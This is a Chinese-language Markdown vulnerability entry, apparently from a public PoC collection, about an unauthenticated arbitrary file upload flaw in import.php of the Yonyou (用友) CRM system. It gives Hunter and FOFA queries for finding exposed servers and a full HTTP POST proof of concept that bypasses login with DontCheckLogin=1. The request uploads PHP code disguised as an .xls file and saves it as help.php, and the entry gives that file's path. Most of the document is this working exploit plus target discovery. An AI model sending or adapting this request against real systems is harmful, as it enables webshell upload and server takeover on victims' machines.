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44 lines
1.3 KiB
Markdown
44 lines
1.3 KiB
Markdown
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# 用友CRM客户关系管理系统import.php存在任意文件上传漏洞
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用友CRM客户关系管理系统import.php存在任意文件上传漏洞，未经身份验证的攻击者通过漏洞上传webshell文件，从而获取到服务器权限。
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## hunter
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```yaml
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app.name="用友 CRM"
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```
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## fofa
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```yaml
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body="用友U8CRM"
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```
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## poc
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```yaml
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POST /crmtools/tools/import.php?DontCheckLogin=1&issubmit=1 HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
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Content-Length: 277
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye0z8QbHs79gL8vW5
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Upgrade-Insecure-Requests: 1
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------WebKitFormBoundarye0z8QbHs79gL8vW5
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Content-Disposition: form-data; name="xfile"; filename="11.xls"
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<?php phpinfo();?>
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------WebKitFormBoundarye0z8QbHs79gL8vW5
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Content-Disposition: form-data; name="combo"
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help.php
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------WebKitFormBoundarye0z8QbHs79gL8vW5--
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```
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文件路径：`http://ip/tmpfile/help.php`
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